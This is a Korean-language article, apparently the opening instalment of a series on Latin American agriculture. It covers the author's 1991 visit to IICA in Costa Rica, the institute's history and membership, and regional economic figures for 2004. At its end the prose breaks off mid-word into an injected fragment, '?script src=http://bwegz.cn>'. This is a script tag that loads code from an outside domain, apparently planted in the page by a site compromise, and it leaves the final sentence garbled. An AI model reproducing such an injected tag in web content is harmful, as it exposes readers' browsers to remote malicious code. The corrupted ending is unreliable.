<글 싣는 순서>
1. IICA와 중남미 농업발전
2. 코스타리카의 생태관광농업
3. 멕시코의 농업개혁과 NAFTA
4. 과테말라의 커피산업
5. 온두라스의 영세농과 농촌공예
6. 니카라과의 혁명정권과 버려진 농업자원
7. 파나마 운하와 보세가공무역
8. 아르헨티나의 대평원과 엄청난 잠재력
9. 브라질 콩산업의 국제경쟁력
10. 칠레의 개발독재와 경제발전
11. 페루의 감자산업과 농과대학
12. 에콰도르의 알파카 산업
13. 콜롬비아의 농업개발과 지하경제
14. 베네주엘라의 석유와 농촌경제

라틴 아메리카 또는 중남미로 불리는 지역은 통상 미국, 캐나다의 북미 또는 앙글로 아메리카(Anglo-America)에 대칭되는 지역으로 주로 스페인어, 포르투갈어를 사용하는 지역을 말한다. 미국과 멕시코의 국경인 리오그란데 강에서 남위 65도, 마젤란 해협의 지구 최남단의 도시 푼타아레나스까지 남북 길이 1만2500km, 세계 지표면적의 15%에 해당하는 2057만 평방km의 광대한 대륙과 카리브 해상의 섬나라들을 포함해서 모두 33개의 독립국과 식민지 도서들이 여기에 속한다.

#1991년 산호세에 첫 출장
내가 라틴 아메리카의 농업과 인연을 맺게 된 것은 농정국장 시절인 1991년 7월, IICA (Inter-American Institute for Cooperation on Agriculture, 미주 농업협력기구)의 요청에 의하여 중남미 국가의 농업과 식량분야의 정책기획 전문가회의에 참석차 코스타리카의 수도 산호세에 있던 IICA 본부에 출장을 간 것이 처음이었다. 이미 수년 전부터 당시 농촌진흥청 국제협력담당관 정무남 박사(뒤에 농촌진흥청장을 지내신 내게는 친 형님 같은 선배)가 주도하여 IICA와 한국 간의 농업협력에 관한 논의가 진행 중이었고 농대 시절의 선생님이셨던 존경하는 심영근 교수님이 이 논의에 참여하고 계셨던지라 IICA의 영구 옵서버 국인 한국 정부를 대표하여 심 교수님을 모시고 함께 가게 되었던 것이다. 그 후 ‘한국과 중남미 국가 간의 농산물 교역 증대의 가능성에 관한 연구’를 IICA와 공동으로 진행하면서 몇 차례 IICA 본부와 중남미 대륙의 주요 회원국들을 순방할 기회가 있어서 참으로 귀중한 경험이 되었다고 두고두고 생각하고 있다.

# IICA, 1910년경 시작 34개 회원국…1979년 현재 이름으로 개칭
IICA의 역사는 1910년경부터 시작되었다. ‘미주협력기구(OAS, Organization of American States)’의 전신인 ‘범 미주 연합(Pan-American Union)’이 라틴 아메리카의 농업발전을 최우선적인 임무로 설정하고 이를 담당할 국제기구의 설립을 추진한 것이다. 우여곡절 끝에 2차대전 중이던 1942년 미국 농무장관 월레스(Henry Wallace)와 에콰도르 농업국장 몰레스티나(Ernesto Molestina)의 주도로 ‘미주 농업과학 기구(Inter-American Institute of Agricultural Sciences)’가 창설되어 미국인 브레스만(Earl Bressman) 박사가 초대 사무총장으로 취임하였고 이 지역의 중앙부에 위치한 코스타리카에 그 본부가 설치되었다. 이후 1948년 OAS가 창립되면서 그 산하 전문기구로 편입되어 1964년까지 21개국의 회원국이 가입하였으며 1979년에 현재의 이름으로 개칭하면서 새로운 헌장을 채택하고 ‘미주농업위원회 (IABA, Inter-American Board of Agriculture)’를 최고위 의결기구로 설치하여 오늘에 이르고 있다.

현재 회원국은 중미 7개국(벨리즈, 코스타리카, 엘살바도르, 과테말라, 온두라스, 니카라과, 파나마), 남미 5개국(아르헨티나, 브라질, 칠레, 파라과이, 우루과이), 안데스 5개국(볼리비아, 콜롬비아, 에콰도르, 페루, 베네수엘라), 카리브 14개국(안티구아/바부다, 바하마, 바베이도스, 도미니카, 도미니카 공화국, 그레나다, 가이아나, 아이티, 자메이카, 세인트루시아, 세인트키츠/네비스, 세인트빈센트, 수리남, 트리니다드토바고), 북미 3개국(멕시코, 캐나다, 미국), 합계 34개국이며 회원국 이외에도 미국 플로리다 주의 마이애미와 스페인에 직할 사무소를 두고 있다. 영구 옵서버로는 우리나라와 EU, 스페인을 비롯한 유럽 11개국, 일본, 이스라엘, 이집트, 러시아 등이 참여하고 있으며 농업 발전을 위해 무역과 농산업 개발, 기술과 경영 혁신, 농업건강과 식품안전, 지속적인 농촌발전, 정보·통신, 교육·훈련 등의 6개 전략분야에 우선순위를 두고 기술협력 사업에 집중하고 있다고 한다.

# GDP 1조9000억 달러로 세계 전체 4.8%
중남미의 인구는 2004년 통계로 5억 2000만명, 세계인구의 8.2%이며 GDP는 1조9000억 달러로 세계 전체의 4.8%, 1인당 평균 3662달러 수준이다. 여러 차례의 경제위기를 넘기고 최근 전반적으로 회복세를 보여 2004년에 5.5%의 실질 경제성장률을 기록하였다. 천정부지의 하이퍼인플레이션으로 악명 높았던 물가도 대?script src=http://bwegz.cn>
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